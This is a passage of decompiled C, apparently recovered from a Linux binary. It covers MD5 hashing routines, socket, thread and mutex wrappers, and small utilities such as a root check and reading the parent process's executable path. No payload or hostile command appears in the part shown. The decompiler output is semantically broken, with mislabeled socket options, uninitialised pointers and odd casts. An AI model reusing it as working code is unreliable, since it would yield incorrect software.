uint32_t v67 = v36 + 0x2441453 + v59 + (v66 & v61 | v64 & -1 - v61); // 0x808c391
int32_t v68 = (512 * v67 | v67 / 0x800000) + v66; // 0x808c3a5
uint32_t v69 = v53 - 0x275e197f + v61 + (v68 & v64 | v66 & -1 - v64); // 0x808c3c2
int32_t v70 = (0x4000 * v69 | v69 / 0x40000) + v68; // 0x808c3d6
uint32_t v71 = v18 - 0x182c0438 + v64 + (v70 & v66 | v68 & -1 - v66); // 0x808c3f3
int32_t v72 = (0x100000 * v71 | v71 / 0x1000) + v70; // 0x808c407
uint32_t v73 = v33 + 0x21e1cde6 + v66 + (v72 & v68 | v70 & -1 - v68); // 0x808c424
int32_t v74 = (32 * v73 | v73 / 0x8000000) + v72; // 0x808c438
uint32_t v75 = v49 - 0x3cc8f82a + v68 + (v74 & v70 | v72 & -1 - v70); // 0x808c455
int32_t v76 = (512 * v75 | v75 / 0x800000) + v74; // 0x808c469
uint32_t v77 = v15 - 0xb2af279 + v70 + (v76 & v72 | v74 & -1 - v72); // 0x808c486
int32_t v78 = (0x4000 * v77 | v77 / 0x40000) + v76; // 0x808c49a
uint32_t v79 = v30 + 0x455a14ed + v72 + (v78 & v74 | v76 & -1 - v74); // 0x808c4b7
int32_t v80 = (0x100000 * v79 | v79 / 0x1000) + v78; // 0x808c4cb
uint32_t v81 = v45 - 0x561c16fb + v74 + (v80 & v76 | v78 & -1 - v76); // 0x808c4e8
int32_t v82 = (32 * v81 | v81 / 0x8000000) + v80; // 0x808c4fc
uint32_t v83 = v12 - 0x3105c08 + v76 + (v82 & v78 | v80 & -1 - v78); // 0x808c519
int32_t v84 = (512 * v83 | v83 / 0x800000) + v82; // 0x808c52d
uint32_t v85 = v27 + 0x676f02d9 + v78 + (v84 & v80 | v82 & -1 - v80); // 0x808c54a
int32_t v86 = (0x4000 * v85 | v85 / 0x40000) + v84; // 0x808c55e
uint32_t v87 = v42 - 0x72d5b376 + v80 + (v86 & v82 | v84 & -1 - v82); // 0x808c57b
int32_t v88 = (0x100000 * v87 | v87 / 0x1000) + v86; // 0x808c58f
uint32_t v89 = v21 - 0x5c6be + v82 + (v86 ^ v84 ^ v88); // 0x808c5a5
int32_t v90 = (16 * v89 | v89 / 0x10000000) + v88; // 0x808c5b9
uint32_t v91 = v30 - 0x788e097f + v84 + (v88 ^ v86 ^ v90); // 0x808c5cf
int32_t v92 = (2048 * v91 | v91 / 0x200000) + v90; // 0x808c5e3
uint32_t v93 = v39 + 0x6d9d6122 + v86 + (v90 ^ v88 ^ v92); // 0x808c5f9
int32_t v94 = (0x10000 * v93 | v93 / 0x10000) + v92; // 0x808c60d
uint32_t v95 = v49 - 0x21ac7f4 + v88 + (v92 ^ v90 ^ v94); // 0x808c623
int32_t v96 = (0x800000 * v95 | v95 / 512) + v94; // 0x808c637
uint32_t v97 = v9 - 0x5b4115bc + v90 + (v94 ^ v92 ^ v96); // 0x808c64d
int32_t v98 = (16 * v97 | v97 / 0x10000000) + v96; // 0x808c661
uint32_t v99 = v18 + 0x4bdecfa9 + v92 + (v96 ^ v94 ^ v98); // 0x808c677
int32_t v100 = (2048 * v99 | v99 / 0x200000) + v98; // 0x808c68b
uint32_t v101 = v27 - 0x944b4a0 + v94 + (v98 ^ v96 ^ v100); // 0x808c6a1
int32_t v102 = (0x10000 * v101 | v101 / 0x10000) + v100; // 0x808c6b5
uint32_t v103 = v36 - 0x41404390 + v96 + (v100 ^ v98 ^ v102); // 0x808c6cb
int32_t v104 = (0x800000 * v103 | v103 / 512) + v102; // 0x808c6df
uint32_t v105 = v45 + 0x289b7ec6 + v98 + (v102 ^ v100 ^ v104); // 0x808c6f5
int32_t v106 = (16 * v105 | v105 / 0x10000000) + v104; // 0x808c709
int32_t v107 = v106 ^ v104; // 0x808c709
uint32_t v108 = *v5 - 0x155ed806 + v100 + (v107 ^ v102); // 0x808c71f
int32_t v109 = (2048 * v108 | v108 / 0x200000) + v106; // 0x808c733
uint32_t v110 = v15 - 0x2b10cf7b + v102 + (v107 ^ v109); // 0x808c749
int32_t v111 = (0x10000 * v110 | v110 / 0x10000) + v109; // 0x808c75d
uint32_t v112 = v24 + 0x4881d05 + v104 + (v109 ^ v106 ^ v111); // 0x808c773
int32_t v113 = (0x800000 * v112 | v112 / 512) + v111; // 0x808c787
uint32_t v114 = v33 - 0x262b2fc7 + v106 + (v111 ^ v109 ^ v113); // 0x808c79d
int32_t v115 = (16 * v114 | v114 / 0x10000000) + v113; // 0x808c7b1
uint32_t v116 = v42 - 0x1924661b + v109 + (v113 ^ v111 ^ v115); // 0x808c7c7
int32_t v117 = (2048 * v116 | v116 / 0x200000) + v115; // 0x808c7db
uint32_t v118 = v53 + 0x1fa27cf8 + v111 + (v115 ^ v113 ^ v117); // 0x808c7f1
int32_t v119 = (0x10000 * v118 | v118 / 0x10000) + v117; // 0x808c805
uint32_t v120 = v12 - 0x3b53a99b + v113 + (v117 ^ v115 ^ v119); // 0x808c81b
int32_t v121 = (0x800000 * v120 | v120 / 512) + v119; // 0x808c82f
int32_t v122 = *v5; // 0x808c83e
uint32_t v123 = v122 - 0xbd6ddbc + v115 + ((v121 | -1 - v117) ^ v119); // 0x808c847
int32_t v124 = (64 * v123 | v123 / 0x4000000) + v121; // 0x808c85b
uint32_t v125 = v27 + 0x432aff97 + v117 + ((v124 | -1 - v119) ^ v121); // 0x808c873
int32_t v126 = (1024 * v125 | v125 / 0x400000) + v124; // 0x808c887
uint32_t v127 = v49 - 0x546bdc59 + v119 + ((v126 | -1 - v121) ^ v124); // 0x808c89f
int32_t v128 = (0x8000 * v127 | v127 / 0x20000) + v126; // 0x808c8b3
uint32_t v129 = v21 - 0x36c5fc7 + v121 + ((v128 | -1 - v124) ^ v126); // 0x808c8cb
int32_t v130 = (0x200000 * v129 | v129 / 2048) + v128; // 0x808c8df
uint32_t v131 = v42 + 0x655b59c3 + v124 + ((v130 | -1 - v126) ^ v128); // 0x808c8f7
int32_t v132 = (64 * v131 | v131 / 0x4000000) + v130; // 0x808c90b
uint32_t v133 = v15 - 0x70f3336e + v126 + ((v132 | -1 - v128) ^ v130); // 0x808c923
int32_t v134 = (1024 * v133 | v133 / 0x400000) + v132; // 0x808c937
uint32_t v135 = v36 - 0x100b83 + v128 + ((v134 | -1 - v130) ^ v132); // 0x808c94f
int32_t v136 = (0x8000 * v135 | v135 / 0x20000) + v134; // 0x808c963
uint32_t v137 = v9 - 0x7a7ba22f + v130 + ((v136 | -1 - v132) ^ v134); // 0x808c97b
int32_t v138 = (0x200000 * v137 | v137 / 2048) + v136; // 0x808c98f
uint32_t v139 = v30 + 0x6fa87e4f + v132 + ((v138 | -1 - v134) ^ v136); // 0x808c9a7
int32_t v140 = (64 * v139 | v139 / 0x4000000) + v138; // 0x808c9bb
uint32_t v141 = v53 - 0x1d31920 + v134 + ((v140 | -1 - v136) ^ v138); // 0x808c9d3
int32_t v142 = (1024 * v141 | v141 / 0x400000) + v140; // 0x808c9e7
uint32_t v143 = v24 - 0x5cfebcec + v136 + ((v142 | -1 - v138) ^ v140); // 0x808c9ff
int32_t v144 = (0x8000 * v143 | v143 / 0x20000) + v142; // 0x808ca13
uint32_t v145 = v45 + 0x4e0811a1 + v138 + ((v144 | -1 - v140) ^ v142); // 0x808ca2b
int32_t v146 = (0x200000 * v145 | v145 / 2048) + v144; // 0x808ca3f
uint32_t v147 = v18 - 0x8ac817e + v140 + ((v146 | -1 - v142) ^ v144); // 0x808ca57
int32_t v148 = (64 * v147 | v147 / 0x4000000) + v146; // 0x808ca6b
uint32_t v149 = v39 - 0x42c50dcb + v142 + ((v148 | -1 - v144) ^ v146); // 0x808ca83
int32_t v150 = (1024 * v149 | v149 / 0x400000) + v148; // 0x808ca97
uint32_t v151 = v12 + 0x2ad7d2bb + v144 + ((v150 | -1 - v146) ^ v148); // 0x808caaf
int32_t v152 = (0x8000 * v151 | v151 / 0x20000) + v150; // 0x808cac3
uint32_t v153 = v33 - 0x14792c6f + v146 + ((v152 | -1 - v148) ^ v150); // 0x808cadb
a1->e0 += v148;
a1->e1 = v152 + a1->e1 + (0x200000 * v153 | v153 / 2048);
a1->e2 += v152;
a1->e3 += v150;
v4 = 64;
return CMd5A____MD5_memset(v5, &g2->e0, &v4);
}
// Address range: 0x808cb4c - 0x808cc57
int32_t CMd5A____MD5Update(int32_t * a1, struct struct_45 * a2, struct struct_45 * a3) {
int32_t v1 = (int32_t)a1; // 0x808cb52
int32_t v2 = v1 + 16; // 0x808cb55
int32_t * v3 = (int32_t *)v2; // 0x808cb55_0
uint32_t v4 = *v3 / 8 % 64; // 0x808cb5b
*v3 = *v3 + 8 * (int32_t)a3;
uint32_t v5 = 8 * (int32_t)a3; // 0x808cb7e
int32_t * v6;
if (((int32_t)(*v3 < v5) || v5 & -256) == 0) {
// 0x808cb4c
v6 = (int32_t *)(v1 + 20);
// branch -> 0x808cb99
} else {
int32_t * v7 = (int32_t *)(v1 + 20); // 0x808cb8d_0
*v7 = *v7 + 1;
v6 = v7;
// branch -> 0x808cb99
}
// 0x808cb99
*v6 = (int32_t)a3 / 0x20000000 + *v6;
uint32_t v8 = 64 - v4; // 0x808cbb2
struct struct_45 * v9 = (struct struct_45 *)v8; // 0x808cbb5_0
struct struct_45 * v10; // 0x808cc4a_0
struct struct_45 * v11; // 0x808cc4b_0
int32_t result; // 0x808cc4d
int32_t v12; // 0x808cc2a
struct struct_45 * v13; // 0x808cc36_0
int32_t v14; // 0x808cc3e1
if ((int32_t)a3 < v8) {
// 0x808cc23
v13 = NULL;
v14 = v4 + 16;
// branch -> 0x808cc2a
} else {
// 0x808cbc0
CMd5A____MD5_memcpy((int32_t *)(v2 + v4 + 8), &a2->e0, &v9->e0);
CMd5A____MD5Transform((struct struct_45 *)a1, (struct struct_45 *)(v1 + 24));
int32_t v15 = (int32_t)v9; // 0x808cbee
if (v15 + 63 < (int32_t)a3) {
CMd5A____MD5Transform((struct struct_45 *)a1, (struct struct_45 *)((int32_t)a2 + v15));
int32_t v16 = (int32_t)v9; // 0x808cc0c
int32_t v17 = v16 + 64; // 0x808cc0c
struct struct_45 * v18 = (struct struct_45 *)v17; // 0x808cc0c_4
while (v16 + 127 < (int32_t)a3) {
// 0x808cbf6
CMd5A____MD5Transform((struct struct_45 *)a1, (struct struct_45 *)((int32_t)a2 + v17));
v16 = (int32_t)v18;
v17 = v16 + 64;
v18 = (struct struct_45 *)v17;
// continue -> 0x808cbf6
}
// 0x808cc2a
v12 = (int32_t)v18;
v10 = (struct struct_45 *)((int32_t)a3 - v12);
v11 = (struct struct_45 *)((int32_t)a2 + v12);
result = CMd5A____MD5_memcpy((int32_t *)(24 + v1), &v11->e0, &v10->e0);
return result;
}
v13 = v9;
v14 = 16;
}
// 0x808cc2a
v12 = (int32_t)v13;
v10 = (struct struct_45 *)((int32_t)a3 - v12);
v11 = (struct struct_45 *)((int32_t)a2 + v12);
result = CMd5A____MD5_memcpy((int32_t *)(v14 + v1 + 8), &v11->e0, &v10->e0);
return result;
}
// Address range: 0x808cc58 - 0x808ccf1
int32_t CMd5A____MD5Final(int32_t * a1, int32_t * a2) {
struct struct_45 * v1 = NULL; // bp-20
int32_t * v2 = (int32_t *)((int32_t)a2 + 16); // 0x808cc66_0
CMd5A____Encode(&v1->e0, v2, (int32_t *)8);
uint32_t v3 = *v2 / 8 % 64; // 0x808cc7c
struct struct_45 * v4 = (struct struct_45 *)((v3 > 55 ? 120 : 56) - v3);
CMd5A____MD5Update(a2, (struct struct_45 *)"\x80", v4);
CMd5A____MD5Update(a2, v1, (struct struct_45 *)8);
CMd5A____Encode(a1, a2, (int32_t *)16);
return CMd5A____MD5_memset(a2, &g2->e0, (int32_t *)88);
}
// Address range: 0x808ccf2 - 0x808cdbf
int32_t CMd5A__MDString(int32_t * a1, struct struct_45 * a2) {
struct struct_75 * v1 = NULL; // bp-164
int32_t v2;
memcpy(&v2, (int32_t *)0x8106760, 10);
CMd5A____MD5Init(v1);
struct struct_45 * v3 = (struct struct_45 *)-((-1 * strlen((char *)a2))); // 0x808cd3c_0
CMd5A____MD5Update(&v1->e0, a2, v3);
int32_t * v4;
CMd5A____MD5Final(v4, &v1->e0);
// branch -> 0x808cd71
for (uint32_t i = 0; i < 16; i++) {
// 0x808cd71
_IO_sprintf(v2, (int32_t)"%02x", (int32_t)v4 % 256);
// PHI copies at the loop end
// loop 0x808cd71 end
}
// 0x808cda3
return std__string__operator_eq_((int32_t **)a1, (char *)&v2);
}
// Address range: 0x808d088 - 0x808d0a7
int32_t CMedia_511(struct struct_3 * a1, int32_t a2, int32_t a3) {
int32_t result = (int32_t)a1; // 0x808d08b
a1->e0 = a2;
a1->e1 = a3;
*(int32_t *)(result + 8) = 0;
return result;
}
// Address range: 0x808d0ae - 0x808d0b3
void CMedia_513(void) {
// 0x808d0ae
return;
}
// Address range: 0x808d0cc - 0x808d10b
int32_t CNetBase__GetSockName(int32_t sock) {
int32_t result = 0;
if (getsockname(sock, NULL, (int32_t *)16) > 0) {
// 0x808d101
int32_t v1;
g95 = v1;
result = v1;
// branch -> 0x808d107
}
// 0x808d107
return result;
}
// Address range: 0x808d134 - 0x808d1bd
int32_t CNetBase__SetKeepAlive(int32_t sock) {
// 0x808d134
setsockopt(sock, SO_DEBUG, 9, (int32_t *)1, 4);
setsockopt(sock, SO_BROADCAST, 4, (int32_t *)60, 4);
setsockopt(sock, SO_BROADCAST, 5, (int32_t *)20, 4);
setsockopt(sock, SO_BROADCAST, 6, (int32_t *)3, 4);
return 0;
}
// Address range: 0x808d1be - 0x808d23f
int32_t CNetBase__SendTo(int32_t sock, char * message, int32_t length, struct _sockaddr * a4, int32_t a5) {
// 0x808d1be
htons((int16_t)a5);
int32_t v1 = sendto(sock, message, length, (int32_t)g2, (struct _sockaddr *)2, 16); // 0x808d211
int32_t result;
if (v1 == -1) {
// 0x808d222
result = -*__errno_location();
// branch -> 0x808d238
} else {
// 0x808d232
result = v1;
// branch -> 0x808d238
}
// 0x808d238
return result;
}
// Address range: 0x808d240 - 0x808d2ef
int32_t CNetBase__RecvFrom(int32_t a1, int32_t a2, int32_t a3, int16_t a4, uint32_t a5) {
int32_t v1 = g98; // 0x808d244
g96 = a3;
g98 = a2;
g103 = g99 == 8;
int32_t v2 = __libc_recvfrom(a1); // 0x808d290
if (a4 == 0) {
// 0x808d2a3
if (a5 % 0x10000 == (int32_t)htons((int16_t)(int32_t)g2)) {
// 0x808d2ca
int32_t result; // 0x808d2e62
if (v2 == -1) {
// 0x808d2d0
result = -*__errno_location();
// branch -> 0x808d2e6
} else {
// 0x808d2e0
result = v2;
// branch -> 0x808d2e6
}
// 0x808d2e6
g98 = v1;
return result;
}
}
// 0x808d2e6
g98 = v1;
return -1;
}
// Address range: 0x808d2f0 - 0x808d3a5
int32_t CNetBase__CreateSocket(int32_t a1) {
// 0x808d2f0
int32_t sock_fd; // 0x808d32e
int32_t result; // 0x808d3a01
if (a1 == 6) {
// 0x808d324
sock_fd = socket(AF_INET, SOCK_STREAM, (int32_t)g2);
if (sock_fd == -1) {
// 0x808d33f
result = -*__errno_location();
// branch -> 0x808d3a0
} else {
// 0x808d34f
if (sock_fd >= 1) {
// 0x808d355
setsockopt(sock_fd, SO_DEBUG, 2, (int32_t *)1, 4);
setsockopt(sock_fd, SO_DEBUG, 13, (int32_t *)1, 8);
// branch -> 0x808d39a
}
// 0x808d39a
g95 = sock_fd;
result = sock_fd;
// branch -> 0x808d3a0
}
// 0x808d3a0
return result;
}
// 0x808d30c
if (a1 != 17) {
// 0x808d3a0
return 0;
}
// 0x808d324
sock_fd = socket(AF_INET, SOCK_DGRAM, (int32_t)g2);
if (sock_fd == -1) {
// 0x808d33f
result = -*__errno_location();
// branch -> 0x808d3a0
} else {
// 0x808d34f
if (sock_fd >= 1) {
// 0x808d355
setsockopt(sock_fd, SO_DEBUG, 2, (int32_t *)1, 4);
setsockopt(sock_fd, SO_DEBUG, 13, (int32_t *)1, 8);
// branch -> 0x808d39a
}
// 0x808d39a
g95 = sock_fd;
result = sock_fd;
// branch -> 0x808d3a0
}
// 0x808d3a0
return result;
}
// Address range: 0x808d476 - 0x808d4b9
int32_t CNetBase__SetSendBufSize(int32_t sock) {
// 0x808d476
int32_t * option_value;
int32_t v1 = setsockopt(sock, SO_DEBUG, 7, option_value, 4); // 0x808d48c
int32_t v2 = (int32_t)(v1 == -1) | v1 & -256; // 0x808d497
g95 = v2;
int32_t result;
if (v2 != 0) {
// 0x808d49e
result = -*__errno_location();
// branch -> 0x808d4b5
} else {
result = 0;
}
// 0x808d4b5
return result;
}
// Address range: 0x808d578 - 0x808d5dd
int32_t CNetBase__Bind(int32_t a1, int32_t a2) {
struct _sockaddr v1; // bp-24
// 0x808d578
v1 = (struct _sockaddr){
.e0 = 0
};
v1.e1[4] = g100;
uint32_t v2 = v1.e1[7]; // 0x808d57e
v1.e0 = 2;
v1.e1[0] = 0;
g95 = v2 % 0x10000;
v1.e0 = htons((int16_t)v2);
int32_t v3 = bind(0x10000 * v1.e1[6] / 0x10000, &v1, 16); // 0x808d5b2
v1.e1[3] = v3;
int32_t result;
if (v3 == -1) {
// 0x808d5c3
result = -*__errno_location();
// branch -> 0x808d5d9
} else {
// 0x808d5d3
g95 = v3;
result = v3;
// branch -> 0x808d5d9
}
// 0x808d5d9
g100 = v1.e1[4];
return result;
}
// Address range: 0x808d644 - 0x808d67f
int32_t CNetBase__Listen(int32_t sock, int32_t backlog) {
int32_t v1 = listen(sock, backlog); // 0x808d653
int32_t result;
if (v1 == -1) {
// 0x808d664
result = -*__errno_location();
// branch -> 0x808d67a
} else {
// 0x808d674
g95 = v1;
result = v1;
// branch -> 0x808d67a
}
// 0x808d67a
return result;
}
// Address range: 0x808d680 - 0x808d6e7
int32_t CNetBase__Accept(int32_t sock, struct _sockaddr * addr, int32_t * addr_len) {
int32_t v1 = 1; // 0x808d6c21
// branch -> 0x808d694
while (true) {
int32_t accepted_sock_fd = accept(sock, addr, addr_len); // 0x808d6a6
if (*__errno_location() == 4) {
// 0x808d6bd
if (v1 < g16) {
// 0x808d6bd
v1++;
// branch -> 0x808d694
continue;
}
}
// 0x808d6c7
if (accepted_sock_fd != -1) {
// 0x808d6dd
// branch -> 0x808d6e3
// 0x808d6e3
return accepted_sock_fd;
}
int32_t result = -*__errno_location();
// branch -> 0x808d6e3
// 0x808d6e3
return result;
}
}
// Address range: 0x808da6a - 0x808db39
int32_t CNetBase__SetRecvTimeOut(int32_t sock, int32_t a2) {
// 0x808da6a
g96 = a2;
int32_t v1 = setsockopt(sock, SO_DEBUG, 20, (int32_t *)(a2 / 1000), 8); // 0x808db09
int32_t v2 = (int32_t)(v1 == -1) | v1 & -256; // 0x808db14
g95 = v2;
int32_t result; // 0x808db24
if (v2 != 0) {
// 0x808db1b
result = -*__errno_location();
g96 = result;
// branch -> 0x808db32
} else {
result = 0;
}
// 0x808db32
return result;
}
// Address range: 0x808dc1a - 0x808dc53
int32_t CNetBase__Close(int32_t fd) {
int32_t v1 = close(fd); // 0x808dc26
int32_t v2 = (int32_t)(v1 == -1) | v1 & -256; // 0x808dc31
g95 = v2;
int32_t result;
if (v2 != 0) {
// 0x808dc38
result = -*__errno_location();
// branch -> 0x808dc4f
} else {
result = 0;
}
// 0x808dc4f
return result;
}
// Address range: 0x808e004 - 0x808e12f
int32_t CNetBase__WaitRecv(uint32_t a1, struct _sockaddr * a2) {
int32_t nfds = a1 + 1; // 0x808e011
struct _timeval * timeout = (struct _timeval *)((int32_t)a2 / 1000); // bp-36
int32_t * v1;
memset(v1, (int32_t)g2, 32);
int32_t * readfds = (int32_t *)(1 << a1 % 32 | (int32_t)v1); // 0x808e08c_1
int32_t v2 = 0; // 0x808e0fe2
// branch -> 0x808e0a2
int32_t result; // 0x808e0c0
int32_t result2;
while (true) {
int32_t v3 = v2 + 1; // 0x808e0a5
if (a2 == (struct _sockaddr *)-1) {
// 0x808e0ad
result = select(nfds, readfds, &g2->e0, &g2->e0, (struct _timeval *)g2);
// branch -> 0x808e0ed
} else {
// 0x808e0cd
result = select(nfds, readfds, &g2->e0, &g2->e0, timeout);
// branch -> 0x808e0ed
}
// 0x808e0ed
if (*__errno_location() == 4) {
// 0x808e0f9
if (v3 >= g16) {
// break -> 0x808e103
break;
}
v2 = v3;
// continue -> 0x808e0a2
continue;
}
// 0x808e103
if (result != -1) {
// 0x808e11c
// branch -> 0x808e125
// 0x808e125
return result;
}
// 0x808e109
result2 = -*__errno_location();
// branch -> 0x808e125
// 0x808e125
return result2;
}
// 0x808e103
if (result == -1) {
// 0x808e109
result2 = -*__errno_location();
// branch -> 0x808e125
} else {
// 0x808e11c
result2 = result;
// branch -> 0x808e125
}
// 0x808e125
return result2;
}
// Address range: 0x808e130 - 0x808e179
int32_t CNetBase__Accept_523(int32_t a1, struct _sockaddr * a2, int32_t * a3, struct _sockaddr * a4) {
// 0x808e130
if (a4 == (struct _sockaddr *)-1) {
// 0x808e15e
// branch -> 0x808e175
// 0x808e175
return CNetBase__Accept(a1, a2, a3);
}
int32_t v1 = CNetBase__WaitRecv(a1, a4); // 0x808e145
int32_t result;
if (v1 > 0) {
// 0x808e13c
// branch -> 0x808e15e
// 0x808e15e
result = CNetBase__Accept(a1, a2, a3);
// branch -> 0x808e175
} else {
// 0x808e156
result = v1;
// branch -> 0x808e175
}
// 0x808e175
return result;
}
// Address range: 0x808e2b6 - 0x808e2bb
void CThreadCondition_524(void) {
// 0x808e2b6
return;
}
// Address range: 0x808e2c2 - 0x808e2c7
void CThreadCondition_526(void) {
// 0x808e2c2
return;
}
// Address range: 0x808e2c8 - 0x808e333
int32_t CThreadCondition__InitCondition(int32_t a1) {
int32_t v1 = a1; // bp-44
int32_t result = pthread_mutex_init(&v1, &g2->e0); // 0x808e2de
if (((int32_t)(result == 0) || result & -256) == 1) {
// 0x808e2fc
v1 = a1 + 24;
__pthread_cond_init((struct struct_82 *)&v1, (char *)g2);
g95 = 0;
// branch -> 0x808e32e
} else {
// 0x808e328
g95 = result;
// branch -> 0x808e32e
}
// 0x808e32e
return result;
}
// Address range: 0x808e4ca - 0x808e55b
int32_t CThreadCondition__DestroyCondition(int32_t * mutex2) {
int32_t mutex = (int32_t)mutex2; // 0x808e4ec
int32_t v1 = mutex + 24; // 0x808e4f2
int32_t v2 = pthread_cond_timedwait((struct struct_84 *)v1, mutex, (struct struct_83 *)g2); // 0x808e4fe
int32_t * cond2;
if (((int32_t)(v2 == 110) || v2 & -256) == 0) {
// 0x808e4ca
cond2 = (int32_t *)v1;
// branch -> 0x808e522
} else {
int32_t * cond = (int32_t *)v1; // 0x808e519_0
pthread_cond_signal(cond);
cond2 = cond;
// branch -> 0x808e522
}
int32_t v3 = pthread_cond_destroy(cond2); // 0x808e52c
int32_t v4 = pthread_mutex_destroy(mutex2); // 0x808e53e
int32_t result = v3; // 0x808e5551
if (v3 == 0) {
// 0x808e54f
result = v4;
// branch -> 0x808e555
}
// 0x808e555
return result;
}
// Address range: 0x808e57e - 0x808e5b3
int32_t CThread(struct struct_78 * a1) {
// 0x808e57e
a1->e0 = 0x81067e0;
a1->e1 = 0;
a1->e3 = 0;
__pthread_attr_init_2_1((int32_t)a1 + 8);
return 0;
}
// Address range: 0x808e668 - 0x808e6a9
int32_t CThread__StartThread(int32_t a1) {
int32_t v1 = a1 + 4; // 0x808e671
int32_t * v2 = (int32_t *)v1; // 0x808e671_0
if (*v2 == 0) {
// 0x808e678
__pthread_create_2_1(v1);
// branch -> 0x808e699
}
int32_t v3 = *v2; // 0x808e69c
int32_t v4 = ((int32_t)(v3 == 0) | v3 & -256) ^ 1; // 0x808e6a1
g95 = v4;
return v4 % 2;
}
// Address range: 0x808e752 - 0x808e757
void CThreadMutex_531(void) {
// 0x808e752
return;
}
// Address range: 0x808e75e - 0x808e763
void CThreadMutex_533(void) {
// 0x808e75e
return;
}
// Address range: 0x808e764 - 0x808e77d
int32_t CThreadMutex__InitMutex(int32_t a1) {
// 0x808e764
g95 = a1;
return pthread_mutex_init(&a1, &g2->e0);
}
// Address range: 0x808e796 - 0x808e7ad
int32_t CThreadMutex__Lock(int32_t a1) {
int32_t v1;
return __pthread_mutex_lock_internal((struct struct_3 *)&a1, &v1, NULL, NULL);
}
// Address range: 0x808e7ae - 0x808e7c5
int32_t CThreadMutex__Unlock(int32_t a1) {
return __pthread_mutex_unlock_internal((struct struct_45 *)&a1);
}
// Address range: 0x808e7c6 - 0x808e7df
int32_t CThreadMutex__DestroyMutex(int32_t * mutex) {
// 0x808e7c6
return pthread_mutex_destroy(mutex);
}
// Address range: 0x808ea3e - 0x808eaf3
int32_t CUtility__Int2String(int32_t result, int32_t a2) {
int32_t v1 = g98; // 0x808ea41
int32_t * v2;
memcpy(v2, (int32_t *)0x8106820, 128);
int32_t v3 = (int32_t)v2; // 0x808ea78
_IO_sprintf(v3, (int32_t)"%d", a2);
g98 = result;
int32_t v4;
std__allocator_lt_char_gt__598(v4);
int32_t v5 = g98; // bp-172
int32_t v6;
int32_t v7;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v5, v3, v4, v7, v6, 0);
std__allocator_lt_char_gt_();
g98 = v1;
return result;
}
// Address range: 0x808eaf4 - 0x808eb09
int32_t CUtility__IsRoot(void) {
int32_t v1 = getuid(); // 0x808eafa
int32_t result = v1 == 0; // 0x808eb01
g95 = result | v1 & -256;
return result;
}
// Address range: 0x808eb0a - 0x808eb71
int32_t CUtility__EString(int32_t a1, int32_t a2, int32_t a3) {
int32_t v1 = a1;
int32_t v2 = g98; // 0x808eb0d
g98 = a1;
int32_t v3;
std__allocator_lt_char_gt__598(v3);
int32_t v4 = g98; // bp-44
int32_t v5;
int32_t v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, a2, v3, v6, v5, 0);
std__allocator_lt_char_gt_();
g98 = v2;
return &v1;
}
// Address range: 0x808f2d6 - 0x808f309
int32_t CUtility__Sleep(int32_t * a1) {
int32_t usec = 1000 * (int32_t)a1; // 0x808f2f8
g95 = usec;
return usleep(usec);
}
// Address range: 0x808f30a - 0x808f415
int32_t CUtility__GetFileA(int32_t * a1, int32_t a2, int32_t a3) {
int32_t v1;
int32_t v2 = v1; // bp-16
g95 = a3;
int32_t v3;
std__allocator_lt_char_gt__598(v3);
int32_t v4;
int32_t v5;
int32_t v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, a2, v3, v6, v5, 0);
std__allocator_lt_char_gt_();
int32_t v7 = std__string__rfind(&v4, (char)(0x1000000 * a3 / 0x1000000), -1, 0x808f339); // 0x808f37e
std__string__substr(v1, &v4, v7 + 1, -1);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2);
int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4); // 0x808f409
return result;
}
// Address range: 0x808f416 - 0x808f545
int32_t CUtility__GetPathA(char * a1, int32_t a2, char * a3) {
int32_t v1;
int32_t v2 = v1; // bp-16
int32_t v3 = (int32_t)a3; // 0x808f41d
g95 = v3;
int32_t v4;
std__allocator_lt_char_gt__598(v4);
int32_t v5;
int32_t v6;
int32_t v7;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v5, a2, v4, v7, v6, 0);
std__allocator_lt_char_gt_();
int32_t v8 = 0x1000000 * v3 / 0x1000000; // 0x808f47c
int32_t v9 = std__string__rfind(&v5, (char)v8, -1, 0x808f445); // 0x808f48a
std__string__substr(v1, &v5, (int32_t)g2, v9);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2);
if (std__string__empty((int32_t *)a1) != 0) {
int32_t v10 = v8;
std__string__operator_eq__651((int32_t *)a1, (int32_t **)&v10);
// branch -> 0x808f531
}
int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v5); // 0x808f538
return result;
}
// Address range: 0x808f5b2 - 0x808f6a3
int32_t CUtility__GetParentPath(int32_t result) {
int32_t v1 = g98; // 0x808f5b5
int32_t * v2;
memcpy(v2, (int32_t *)0x8106a40, 256);
_IO_sprintf((int32_t)v2, (int32_t)"/proc/%d/exe", getppid());
g95 = 256;
int32_t * v3;
memcpy(v3, (int32_t *)0x8106940, 256);
readlink((char *)v2, (char *)v3, 255);
g98 = result;
int32_t v4;
std__allocator_lt_char_gt__598(v4);
int32_t v5 = g98; // bp-556
int32_t v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v5, (int32_t)v3, v4, 0x808f5df, v6, 0);
std__allocator_lt_char_gt_();
g98 = v1;
return result;
}
// Address range: 0x808f6a6 - 0x808f6ff
int32_t CUtility__GetTickCount(void) {
// 0x808f6a6
int32_t * tp;
gettimeofday(tp, &g2->e0);
int32_t v1;
int32_t v2 = v1 / 1000; // 0x808f6f3
g95 = v2;
int32_t result = v2 + 1000 * (int32_t)tp; // 0x808f6f7
g97 = result / -0x80000000;
return result;
}
// Address range: 0x808f7b8 - 0x808f877
int32_t CUtility__GetDoFun(struct struct_45 * a1, struct struct_45 * a2) {
// 0x808f7b8
int32_t v1;
int32_t v2 = v1; // bp-12
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&a1->e0);
